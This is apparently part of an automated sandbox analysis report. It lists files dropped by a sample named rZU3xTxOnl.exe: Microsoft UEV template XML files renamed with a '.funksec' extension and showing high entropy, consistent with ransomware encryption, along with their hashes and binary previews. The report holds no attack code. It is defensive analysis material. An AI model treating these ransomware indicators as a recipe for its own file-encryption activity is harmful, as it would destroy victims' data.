                                                                                                                                MD5:6CCB7A4C1A076DCA6779960EA36A214D
                                                                                                                                SHA1:2C7AB08B7628DE86F036FFE771D4FEFB87C3C933
                                                                                                                                SHA-256:857197841FBD0AF843FF67EFECAAD4A5E83C6B94C63CA808A3E490B67DDB3148
                                                                                                                                SHA-512:21FE1832D4BC5B17F6A8EF728025EBE34ACC647255BAC5E9F8CE837F92AA590AADF32C74CDF220B32C1D336025B4D98F41175FC097F6636BB6F806F8C90938EA
                                                                                                                                Malicious:false
                                                                                                                                Preview:.....{...V.:...2I..3.i..<..c...!..A.S.!{..}......G.{9.(..,%d.'...~..`3.....m.q_^.p..Y.UQ*.{#..cd)I+.0...(Q.Qa.......1-.YE...Mu`.P...]x.<.x....{.....^.....8M.......- .."n/x...y.5K..x..f.P.......E...N.N.!|.<.g.H....j..0.|.w:{.$...|..y4w....S9.?qX.k....bt.+<...w0 a*B.....%M.Z(.......R..SE...\<|......_p.8.1....g.....Z.....3.F.X....?7n.u{nb.Kgu.9...z?m..U^..7pI.s.m.DEB..:h....*.T7."~c..Y..wVun.&...,..i2a....U#.~^^.m.....HY`.yp...f+&jdU.2...%]..1......=c. .._$|1YO....Rm.=.;.....t...........lBI.RS...*+=..!3ld.J.A......]=2h^\Q....!l.........H...a.H.VAxm<.b.ytw.t...g6.2o%...7G.2.<.%....OPt.6....},.a)Q.>..)U.X2......w0.B..._Tul......z.4.......e.....T.....#...G....6k|..g2\n...z.....p.......e.....7..j.+..2O(...%...B..{g.X.{.cVs.*...b+.b-....@.?...x..6.BEh.6z...t$ g!..o...y...#......=}. E..65.Qf.....EV.?.;....B..^....yvMZ.R....fID..u=3E...4LQ..J......J...........6R.@.N..'.Ax..{..k.+>.wq.%...x..a:`....W(..6..9..?.BXj.6r..V|D.d......#K.Y/....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):18128
                                                                                                                                Entropy (8bit):7.934532625849713
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:pOzkPt3kbSJLjT2YD4czFzX1+LIHRueZpx3qm7+9Z8L3By:pQklXN1BxkV763By
                                                                                                                                MD5:2AE4678D5367765ABCB1C44BD55D2B24
                                                                                                                                SHA1:73A6FA744061350C1C7D3CC6BA352FBB187E310B
                                                                                                                                SHA-256:A7B4E04E839DC0733F2DC45A567E915F64CF09449BF40C53C4BE832A86009AE3
                                                                                                                                SHA-512:78FAF3F6EE5C9AFAC2FBF43BE2D2468FA65D5FB2E54A429AAECFF53E64FE886E22273FBDC33C746E7652D11EC43F9C91D717BE3F1459F8803A85274822F00461
                                                                                                                                Malicious:false
                                                                                                                                Preview:...NkXj$.+/...........S..g.......v..L..`..;k07.<hn.TM..q.<.......%.....x..[......xv....;}.g.2....|..=.....<....G...jWnF...A..'F....2.p.+.{&.!d.............\......L....)^...7b....5.>.jJj2_..8.^tN...}.J....5...h.E.......).D.*o............G..........s|...4{.R..8...m..9.....<....K...9.:P....Y..o.[...t.:.a.{8]r...O.'.U.....@.....]..A.zJ..7s.....26;.Q...f.....'....z...m.....)...d.K..4..}...../..........y;........ca....s!.*.Ym.....f.....&..t....EBf....._..oa..P.s.`.a.{8]r...O.N.".]...@.k..3|.Q.l4...1j.....i"c....R..&..'%.g%;.N....c..=.6.R......pU...lV......\..S............61....F7...Qp...z...*.....&....L....Jd.....A..`b..R.s.\.+.v4H<d..<..........[..*....V.Q.l4...+p.....d..7..j..J...J...L.....dK...6.S..+...O]..,.l..I ...........z&.........d~...Y#.1.ZX..8..7.....-....N...jWcX..S....o.H.j.p.-.<.|0J.a.............@..x...S..|.l(...b#....1a`.P... .4.]...P.q ....;I.9.....6..ki...}..%D.&>.......7..M.#i..Y.......b...e.x..$...o..(.e..h..^....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):18128
                                                                                                                                Entropy (8bit):7.937219394375229
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:LcbLWwlyMz30GKoBdx2+C/Eprj3NB4r0rRxomeIPJhMlEzU:LcbTv0GKUdk+XpXdB4g3YIxhMF
                                                                                                                                MD5:CAEA88AD8866DEA175724668E549A1B0
                                                                                                                                SHA1:B3AA4F33B4E366EAB43E6522E82AD1FB562CC9EA
                                                                                                                                SHA-256:B49AAD733E64AC0F068938C63FD06A4B15A9238E8D09980C28CB3C044AE110C0
                                                                                                                                SHA-512:14441B9F1853BA49F97D9FABDAFEB1A3A77B197CA31C1AD4EC53D9A97D049AF7008871ABA2535678DB43CD6894DA93F2D1E0914BFE9B0FD704FA5507ECF0D0FC
                                                                                                                                Malicious:false
                                                                                                                                Preview:..M....(..Q.0rx.....$.:].P..F....a.)..7....[I..R.{#x..M...~.b.F:].<1.25.{..AN.'.....[.8.>..".&3[;.<o.....C.jF.fa.+..@..Z..=@..l..AZ...6/_........?.@;.......FP~9$\o.3..Rz..+N../T..KbD...$....}..r....bI...^z......3...xVH.c......H.".'...Q.h}.oI.8..AD.-....T... ..P.."...8n........XJ.s-Po.8...W..u...{..F...761.]..S...u|J7......XFr((.1.`..Ce..+Z).[9.|<.......S.DK.&..z..PP...%..K..9..Q....\..KK^.#...4...].eC.sc.7...OI.0.......J.o..r.}J%r.g_...........61,>.k...Y..ug.."..UJ..761.]..S....u.7.....wd%FG.!.v."E|..,.>.Us.Y\..M._...9.3p..,...G...Y\..2%..r.`.@....CX'...{.z.9C...!/.yq.2...'..`..WA&...e..Q.&5C3.+u.....I.QM.ll.6.`...X...zd.. ..Fv...;=.........#CL:.......-.km.!.v.&Ei...0M..M.v.S...q.D.t....H..tKH.%.. jM........po.A...r}Q.G.2.4...U.?@.zq.:..cC./...!9.|.c../.mws..6q...0.D._O.9].+.05......u......W....19. ........}L7.......nz&(...v.T....~zy%..B...5...x.8Aq ..C..R0...|.....e.w...N....P.....O...|.(.z(Y.....<%.{...|O.3...Ip|.:. ..".& F!.)e.W.......*

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90427
                                                                                                                                Entropy (8bit):7.945337576716309
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:aNJ5QZi/MYl2Hd0Q4VB1cOwxw2T5xBWvwvpUYGGfINQ5ERPUpuVcN:CJ6Zi/fgHqVuxwEBWvYqGANQaRPUpuVS
                                                                                                                                MD5:31881AA8B06BC437E4E8035D32F690D6
                                                                                                                                SHA1:070C9A422B15F44764A15BCCB6C6E0D00E28A6C9
                                                                                                                                SHA-256:0D54DE0895499A97095B40EAC71E303AD367256327C07DD9E2F98D525D9356A9
                                                                                                                                SHA-512:A0B9CA678EEBBAD1715624F1CE8AB1F77D1A14BB0599037228E6E0D7F35F72CF027268970A7E9A823AA2B36E7506A1CC9E9BD16B11B186763B157DBFC0376C55
                                                                                                                                Malicious:false
                                                                                                                                Preview:...L......5.n.........Tx=..TT..4...b..J.&.L.7*CO.36is.;.3.\.[_gk_.R^i4..t..c..duZn..Z...M"V.UA.m;..\....)o.AEF..J..%.P}`...!.1.w.7.V@~t.......2k'<`..'..T...t...57W.....*s.i..s2....:.^..!....Q........D.V....5.....V.yw.'.h.....h.C.X.a.].TGnm@.z..7.ZJs]u......~|.HJ:..b........){.]JM..C...q.3~f.../.#.>. .AMak.......39a2|..?..P...r.N[4rB..j..dc.>...zh-.......o.1...Q......{"%p.R..x.'.........*...+.F..IZV.Z.ck..UWh{H....-..euKsJ.....Eh......s........,h.MX..G...".\3....+..439y.PJwq.......0|i)o..8......k..T x...g..7x.j.{i..*.F.H....-V.&.9 .l\.&#..f......................f[O..3x`F._.5?..b..I.W9.4;9.....L|"U....h........%).EGO......k..`d../.~.w.+.QJup.....8kB%~..>..^...o.K..mW..k.Mv'.,.b2v.}.".Jr'.!n.x.$.*...0.{..wb.G.Qv...=...F:.......|yK.V.xaC.^\weD.?..N.Z'&pf..Y...Y`.U...(a.....v)......V....0.\-....r..OS.:.MV|b.....o)6kY..dX.........G.x[..j.oN7.>..w+.~...P.I]q.A..o..<.X.Q.H.H...Z'..$...A...K...`...`XI.Y_BkY.R_`z.....&.w.:.'J...].Db.U.C..C..{......l.[BN......

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:OpenPGP Secret Key
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):90430
                                                                                                                                Entropy (8bit):7.947837812696663
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:1536:uoXwuIewwXrvxXLtvVG51PpywmMTbGjW2NJ3y1WIy6Kn6GznpwaOaXWU:uG5ZXrZ5vI51q9R5y1WPJn9znWZaX5
                                                                                                                                MD5:D740A7EF2C52E42D247B8465B0221450
                                                                                                                                SHA1:273F7E347B9E061D0F17D2A0A78789DF811731A3
                                                                                                                                SHA-256:6CDAC1187F1CE6D958B15BFA2F3471F48735B11B5BD542AEBAC84D42C1F5F6D7
                                                                                                                                SHA-512:A79F5BCF699DB7964108C422E29346B01AE821E9A3CBE6101DB4A1FACF71A59939F63ECD41E622913D14C5B4DDC253EC90D2307873192FB40722E956B5A63E49
                                                                                                                                Malicious:false
                                                                                                                                Preview:...(w...^X.*..%4..8.(./.GC..%..Bx..#..%uY.$.P.....VT...U..gI.....l.B..D..ghV....y)P...<...w@...K)~.+vP._}9#.P-V......B.._..76....$..S..Ty......:#.......W..a5.$%.d.B....i0......Q.OW...~...5.|...c..Dh.....ACb.......O.>~.&.[...xV.G...m.[..... #......b(D.......h;`.V.m6..dDP.Ra6(.^$G.2...A.._..!$.Z.hj..L..Z}......&#.....J..jq.%`.0.&....ig......,!.q...$.858^4y......NY.A.z}.R".......U.L..~B?.m..]..v.K.....>%.....dgD...4...$.{.G.k=..)bU.Rq$d.H R.8....mc...t..W21t..Z...x......5w...Z.W..5:.1j.).+....`3....V...........X}.....h1...A....#H.......e..EF_.E...t..~...V....V..nG|...s,.R...=...+.l.\.P6..%f\.^y;*..g[.)..._.....'y...ck..X...Oq......$f......J..zt.?..0.'...M7u....T(.am..G..\..Gs3....X.}...-.X...#I....1...7.\...pG.F...K.@.....ut{...7q*R...(.....8.U.m0...t#..."ci.M1..r.....mc_B....7.rv..Q..Fz......j....3...s/5..j.).&...]&g...S...~l?..s.x.@.0bx....k.....N.#....] ..Jf....>.....rK.....k.C..Z..6'....Y0g.....5...&B7.wT.Y..d.o.Tg>+..t...

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1838
                                                                                                                                Entropy (8bit):7.871748150460421
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:7pl3IWfbQ0FkAL3n9M46ReVVkMfqSpv431Du58H:Vpf4ALOCVVkfS58H
                                                                                                                                MD5:0C410C11FC574CBC717B16AB29910059
                                                                                                                                SHA1:5440AF259AD98F1E0B1560D8F142824443C13B05
                                                                                                                                SHA-256:961B10FD4E17C5F31E437F4B8A865EC4B772566BBB39E46BE61A11F60F786557
                                                                                                                                SHA-512:E88A50D44C6F2A2C143D91FDA6EBA2ADA3780A21C97B2E9B264F0AA5318867DCE8E79E1A888C0DB04D65E02ACBCD4823B57821AE910D5108C39F3BFFDC7EE7FD
                                                                                                                                Malicious:false
                                                                                                                                Preview:O._F^.0k..!... .;....T2.f....V......7G..c.e.].m4.....~..0..H=V..........2...W#......(.....H..........|.X,)W]..j..P..!^....y..j...~.>i.. TtB..Q].F...D...U.}...@F_...V.[..DtF.<....(.m.....F..."n....$..Nw.:cvY`..MJ.%.....a..e..J<P.x.N...Y....4....g.....7.x}N.....-.....5.Q=`KVQ....Z../H.....7..u...p.9 ..r.z^..IH.B...K.....8...$vE.......RX. .Mr.u.P..C,...G.1....]...ji....{-$.....C.`e.3...[..t......'Q.~.F..._....2.....u......{.cl_............,.U(zA...f..)..+....#.)..c..*."*..7.aM..NC....Y.....2..)cY......SY.Zv.+.....Cx?`.X./..2....U.....Y.G..x..z6.w=`..aY..m..\..Q.[.#....=...P.L..u......t.tdD.1........./..!}PHK.,.K../N....6..a...e.b... 1m\..HH.L.._..V.'...%....E..Y.[..Dt(...k4P...,.."@..1.R..........5:..Y........*..J..q..U k.|.G......}.>..?.....x.t-d.....I...../._$)e[..l....|...\.v..j....Pmu?.l9|O..RB.[..A.....l...xX..H..2.3|..&/H..=..mb.&s..M...D.............q...1..J.l.t......r..t.X......a....r.....7. -......E.....|...`H]..

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2013CAWin64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1838
                                                                                                                                Entropy (8bit):7.854217760977715
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:nbk8rexTQcFAcfHZHigihbCBpFfbk6DTFiNdPQstyea:3reKEfdigiJC7JbVHM/PQscl
                                                                                                                                MD5:158FE007B2FC22591805B35F60BB76BE
                                                                                                                                SHA1:A9D2BF712AF60BEE5D9D178C9377834EC3666004
                                                                                                                                SHA-256:729DC5C34DB16AB2828148A2EECBBF6CE25AE2CB2C631A9CAD892C1D4EC47652
                                                                                                                                SHA-512:B3178D405FD1E568D95E45986C1D38FB8D4A917164745D5CA9D19E9353243F62DEC0B8BF5E09D10A2C57E352437ED96ECE39FEE782AB104A03759D55F482E1F9
                                                                                                                                Malicious:false
                                                                                                                                Preview:.?l..wM.*L~Zd6@.2.......w<._w.gZ~w|?j.!.B. ..v.].x..0... ........5....w..../.l....rl.1.$..i.0....1x.[.9....9....fdR.?.8..Z-.+..5<.S[.._.`..Y..Y..+...p.=..P65.dH...ox:)u*..K..A..|u.)....*.Py..e.>..j..>..S/Q....`. ......./...u......Kr....z....4.x...EA2.a._..0.t.ht5~J.O.%....0...2.1.9.7...Kd.<M.8#.QS..X.i......L...'...v.yR..#an.x.`.o//ho#../g.G.Y.nE.'...%...|.M....|7.......|....G..uD.'.m.`...o.......]z.....2....2.x....z&.3.u..!.r.&c53l.\.5....4...au^.U..<..ki.eS.?5.\N..C.s.....Q...h...o.2]..yxn.m.3.f{gji"..U......H.......yK..:......^w...V/v..OmEA.........a...L...(.Q..'....?...z.n...s2.|.{..:.I.kg<?h...=...Cv...(?..;..9...C-.7L.?7..Y....u..<..J..--..k.|...6an.q.r.1<.&U*..K...5..v...Au.].a.e....x......N...n$..43.P5..|#..a......._{...........f....w3.`.|...i.ix;~....p....>....fyT.+..b...G0.y..1<..7.J..O..4..W......p.v@.AdVF9v.v.< .M8B...Q!.....wpU.(.~q.N.....c.u..^..}.7+....O......j...o...].:.]d..........4.h....g....:..i.o.er#-".7.p..^m&..|q

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1841
                                                                                                                                Entropy (8bit):7.88150239610405
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:JzxOZZWBPBrEKM8+Ctn/BEv6CIGQD8slYpr+nSM:JzXBDL+Ctn5pLwN/M
                                                                                                                                MD5:99A33435C034E057881AF953F5305168
                                                                                                                                SHA1:7F29C73C4D7B83DBDA900761E890E732F079EEB4
                                                                                                                                SHA-256:A05D5F72D77B01B32A0E1C8A149E10D314206AB8106B12DE43AABD33F1A78391
                                                                                                                                SHA-512:9B29C49F3FBE6BE74B24396B6B2F2B67546123E674D3638154E2B94E20BD2D32680A8227A8CDF0D6C604F0D5C854A7CE627A73EFE32FC2643E53BF6CCCED6FFA
                                                                                                                                Malicious:false
                                                                                                                                Preview:6...9...x.]..XF/p.d.QK...j.Q........6H...1.+.q.SJD.p..Jv7.....O.X.f...!.....I.^...I...U.S.......5f...{...q.*.Y<..Fq..I.m%.l.."...Z......8.<.W.u...WVX..Rt...w./.u....D..'|....ue.9..c35....m;.........b..<.W..7J..^.,...z.&.LUi(....N.A.?.C.f...\..N._.Q........(.........f...t...x.c.Rh..Ew..F.{7.%..l...E.....J.9.z.K.`..NSZ]..T...2.{.....>D..ff.A............d..LN.7...(F.x...".q..*U...Eaa6'..Qcm.|z....U.Q.).F.x.....X...[..T...W...........!c...f..|.y..;....w.M....(.Dr..._..E.@.:.r.X.}..@..Q..M ...8Nb.....%M.d`.@.._..Cu..Hr...D.Y........B....J.KKY.^.].2B4..e.B.eu.....u...m...(.Q..'.c.J..S.............%j..y...>.~.Lr..[u..H.}j.l..m...^[....v.2.Y.I.f...]Po..Io...-.{.....z...(\.....\}0..E.....9..+.,.a.,G..........g...~8..BL.B5....R.R.+.F.t..v....Q.[.T..............c?...V...v.*2_<..Fe]...#&.q.X->..OK.o...+..Q.Z.{...JzL..Ru..fVL.(...x...C1.e......mE..0..>.G.y$.6.L..;...A......9..0.~....v.}.|)......a.).N....\..}._.[..X..}.M.......o....5...%.c.Y&.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1841
                                                                                                                                Entropy (8bit):7.859925017092951
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:PBp4V4F/HcefopKTsKENT0bq+mZrw7NJGflZHiQVT:PBpn/Hcs84e9BaJC11J
                                                                                                                                MD5:D80C188C760944B39482298384766C80
                                                                                                                                SHA1:4979F4B5D295A0F682592AA2B8F0C565C17B1B85
                                                                                                                                SHA-256:AAB9E1CE2D3C65A23A0BD2851ACCB0396E649A10CB3EEBB567E906272BF16C88
                                                                                                                                SHA-512:88BA5E8B48C29E6D70E4AA1F7730EC9A7C0A0ED04A3B58E7F54383F5BF4BED74A8DB44E35BEFCC54DD3918A4F4D6ADB19597489809E4EB5F47DA990BCCDFF681
                                                                                                                                Malicious:false
                                                                                                                                Preview:L.L...i...q.X.....`.%).`...ac.H.....?l@m.h...r.|..lX.......!..+..~....1...cV.`..t(........*0...7.|$.4..l2b*..c..K$$.].F.....;e...B;.~....q..c....(.!0.~..C.Nj,G..V"O.....d....6..c...~.,6.;.|.F}...>..Ed.0..P.d..w..77G.......8...~..5...7...w.]aE.*u\..r.....C.. .#.`+.}..%.i~.`..K+*.O..Z.....9m....2.,....i..o....#.n1.k..zs..z,..]L+....l.:......e8...%.......*!....*S.@.>(V....:t.....J......(...{.3....1...w.Oa..>c...i.....T....0.p9.d...?$'-..-... .Li........4p....(.i.....n... ....|.a%.1..wf.Sa%D._J*...k...m./.7...f...d.n..J........J....txX....."..]9..EI.....s.."..Q...S...a.O|..*\A..~.....P....q.x&.g...85wd.~...%*....J.....yg...7..~....h..e....3."+.~..{z..>r...v"O..|et`..=..y...3.a.G.=...Q....'.5.6..JJ.o....Rw.y.7.........+...{.{..~...i..X..+.]..~.....O..D.`.5..g..l.d*..c.C~.A^......i..T.^.#2....r..O....).|r.)..C}..:...x.J1...<...tJ.qz....1.Di.....TA$+.@u.7xt...U.T'.................s.b...b...g.Hf..g.$..*...E..H.[.5j.4...%-b0.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4019
                                                                                                                                Entropy (8bit):7.930333055636936
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:7lDq2dxLXnhcUIgedrE7hneNoadg9rPcPpPod5C2Q5jYa:7l22dBXhc13AVne+a+ZEBPurQOa
                                                                                                                                MD5:49F9B66688325156F6BD11173D3797EE
                                                                                                                                SHA1:C437C4A0B724949F753AE9418B9135A1014AED8C
                                                                                                                                SHA-256:5A180A69F6710D5F28FF3B6D5FF155C72041201D826D588595DB5C19C4A0E199
                                                                                                                                SHA-512:8E4FC876960BFCB875AC57AA0AEF780E586D321AACB37F72A29B2F34DFE985AB185E66C36645E5B97FB7AA004CBDD550CD40CD1E52289E29B3F89A6F41AC426E
                                                                                                                                Malicious:false
                                                                                                                                Preview:....u..z%<....y.FL$..../s["....."E_<..1.7...83qU....A`..^E.}.M..?. ..fE.0..}."..I2...i`...f.(..:.L.(..Q.}.......i...S..:..."w....{....G.8...`z.0..e....=.<.....s.....&tP..u{......l$...{:h.>8.+....8d=a2....qs.j}...3... PlD.].0..Z.b....=.&..?..>..).l..N)...-a.7G;.7.h@...`j.y...i....... ...*x.<...,a.._.l....X.0...)s.b..p....8.3...a.6....<:@.[`:..V..._....3$...L.o....8@.r..*.R..{....1. H.5...W.T.$..0....m.'..)..j..3J-..X/..?a..S-.{.sQ...k$.y.z......:...B..Pz..(44.R,5....B.-...#i.'....m....4.!..n.<.... i[..(8..W......4^x.t...z..c..@..72g..s....t.A...Ew....8.......?.!..&.-OQmW.&..WGa..'g...?|..G..t.dY...`i.p.;........=....].>...,gO...g....C@:..\.o.0....v.......'..-.)....`(..I)......0Y.a.Y..(..(..OO.P*.j../j$...6...0...hN.......7..6.s....#.,..7..{..P`l..c:....|..[-.q.0c...`$.s..n.......y...A.p...d(N...p..a..R..>)..-...W....3..../. .....sZ.I:t..Ff......u....f.of..,k,h.c...m0n...!.h$..E.S/.V.S.BF.u....#.xNL...m..3TA...g...(p..Q-...0..M.Uv...%.......u.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4019
                                                                                                                                Entropy (8bit):7.936372512377284
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:3QLK9LujBZxaiXtFpBHs42fyCetBNX/oMK7yHZoJXZ22bLDpb9sSA:3QLE+BZ0etFpBHw6dfREyHZSJ22bwT
                                                                                                                                MD5:FC6F4E055D7637573852E088E1352353
                                                                                                                                SHA1:8ADBD2B316F4CEE17B21E04C8AEEC74E57C929AA
                                                                                                                                SHA-256:B7B11D5E2868BB10EF7EF7F8A83985849147A5663C0F79F30B4E8086EC41AC42
                                                                                                                                SHA-512:766D4562958A55B6C93CFC80DE0C25D90C224CDAF9EAB50A834AA19DA9AA88F77045374687154FA05F2D9B3EC0E56A9848763165BD16BB2B13D6AD7032C70284
                                                                                                                                Malicious:false
                                                                                                                                Preview:}s.W...Q...a.t.!(.&..\.......G.]m4...8............|.."..|.:..a..!.....[..'1.k.'..W.........H..1.$_-.r2...V.<..H........4.`88N..E~..{.....Jx\.\g.@.......g.....~q4f.F...Y.jo..O.j...:......v.4~2........>.....k.......d..+.R..7'.%..4... ....C...s<.E. ..C...8.....=..b.l<D.=....J.7..Y.........4.n.*_.R0..d.....M1U..!.\...]...z......;d`...\.....+u......-.-.......<.Z...k.8..5......C..m.Z...QI...}S.F0X.....;....K....it.j.6..C.........&..y.grS.p&...Z.{...L..O...|`.j{.......r....V;O.K).O...S.L.g....1>y...@...Z.)s.._.z$yU..]h...KJHd..Tf....nZ............].z..5)G)W.......U..R...y.6aI.U.........1..~.l?W'|"..R.5...E........q.n(wW..Y1..p.......I.\..^.......z....$q`.....]F...y..&i.d...)./.....%~...<\.j...Q....~Y.....D...f...>3e-..5.......G....^.(P...U.........e..i.lrA$ov...V.>......Y.....}.&gvt..N`.6...Ut1Y.A4.H......*.a....-c&[..x..A..eU6..jo9.{...2..>@..p....B .$......?xE..%."...t..hda.zy`....2..l..H.C....ij..Lc.B........e..0.Y H(x%..5U{.....

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1413
                                                                                                                                Entropy (8bit):7.855460547509597
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:24:JWeCwoTNjEW7TG9YaSht0kzOqGTzSN2y1RerlnZ9XKN1Fu3OcAvO8SwQqnbgqx1:JhCFTNjE4TG9yt0kKhfPyjQB++OrdnnT
                                                                                                                                MD5:03EB12E8603D673F4D6A10B33138C0E5
                                                                                                                                SHA1:1483F5F89366B9CF4247CC41BE4641F129F2483B
                                                                                                                                SHA-256:AB3F10133992C5BCCCB9A87B612DDDFEFDBE457053078F8C7CCFC5CB749AAD0A
                                                                                                                                SHA-512:7F5510BDE1FFB8B4DF79A5E1EB5A617BDC62AB3612E3FA6C8B5C1FC7FDE9080DF2FF0F4AB3847089B44E802A9F8952735BD096896D47090D3FD4CB4E8AED23B6
                                                                                                                                Malicious:false
                                                                                                                                Preview:9....a...]!.lN...wA....v.....fDs...j..h...F|8.4.i.h.).`.F...Y,|..&.7X..m.jy)...s..V..y..;M.FY...4.....x{..L0..E>..2..M.cl......v...I;...Z....3.x, ....U.h|D...^....l.7..S.ll.......}.z..a^.'.._.F.(...8F......y(..~M...eg....T......Zyz^.'.._.8.-2}....h.....-..f..=,u..p....RJ{..P?.YK7.J..4k`j..p...g....^6...R.....2.>"<.....Q.maK..U..J.^.....C.;yH.....H.O.........@O.$.7E...5..p....%./...=........h<..Xcx..<.>Y.=.34g....n.....d..pO..7d..v....l~..@-.@]3.P$..\.-..L{.L.G....O1...OC....1.69/.......a|Y.....@.G....X.o1J...'..2tL.7L...v.sN..k@p..P....<..fC...E..d.Z..F......@c....e...d.cV....&.....c..O... l..M.....hw..H2.C.q.W5...N~h.]~...o...N1...X...9..5>...._._a_..P].U.^.......)0z..O.....8..`...U.a.5...".v.c..3_."e..7..xh.C...I.....Txc....5F.(.}e.....{..U..n..p...tR..}....]Rs...S...j.g...Z.bx.^g...f....q.%.6i...9.+$!....j.{{D...<o...1...D.~l....PP....T....].y....D.%.m{...`........@........G...BF...Viy..X.x...|.f.`......7$..]..-*.=h*..u....."...~...j.Q.

                                                                                                                                C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2983
                                                                                                                                Entropy (8bit):7.918980736979183
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:B6ATzZrKbzCd8htQQxkqJ6Kjha6w9YRPwpzHwKK6bccH2w/PSMvKkHSEC/JY8r8Q:B6ATzZYDyyha6w9TQF6bcI2o5vF8/WsT
                                                                                                                                MD5:D3CA027A67B100BE21B5E1C66431A9F6
                                                                                                                                SHA1:BC86747261D1BAB311CDD575BD4AF6C6B2ECBD9E
                                                                                                                                SHA-256:FBA57C23E832ECFEF4B19006459D1AD321B580E753B93B816C8F1DF88030119F
                                                                                                                                SHA-512:3502D80FB9C5895D9B3634E5BB532759BCD08113BC3BC2C402BC7C50F733C0DC5C6DC5FA5B1A2302CA024DAFE246741F9B2C7B5A3748FC5AFC8C4B390463F747
                                                                                                                                Malicious:false
                                                                                                                                Preview:..Y.b......9.5..z^ZD...q.F..`..y/.u29_..O.g.+.F..uZFd.R..Pi.;..X...T.x|....Y...5z..0N..|.[[>.\.......o..a.q....)'.....m..q..L.g/.]........Q..Bl#*o..W..*..Wi...3Qm.'.b.:..^..0eR...R.(......n.';....d.@._.b.k..B.;.fj....H..H...Oj.=..^.....v;.....^...g>.........!.m.........s..(.x..}^.....b..c.YP.)8.B.....F....^l62zY.R..,...h....Waw.7.5.{...[.T.......hu.g...G...P..^8.>G..}b.$..S.[...U.!2.(..h.?..._....."%....H...m,..8....-.0.v........c.1.|.....6.L}w.i..E)Tu.7).T.....L.F..M8+5qW..^..5...|....Ztk.,.a.y.....2:.~..>Z....gS..]...jl.W.O......E:..P.;.xvtoe\o...:.$...U..F.nu....7Z..|,..1....#.8.q.........k..2.>....g|.....l..>..@.((.V...\z.Q..\)03z...`..1..Tr..Vh+.sA&.5..^..0.Wz.i...hA.......U..0.#.j.8.$.ZS...P.2....t....Rf.9...e.....")....(..mf.."....b.#.q..........8..a.%<...8'.....s..d..P.h........?@..O..I(.;r...;f.e...U....uig./.(...._..`.t.....D.]...N... .mP.../.I;j.|P.{.V.W..._~/.< .Jj.&..X.....jc.....7F.Y(d..;....!.=."........Y.h6.......8

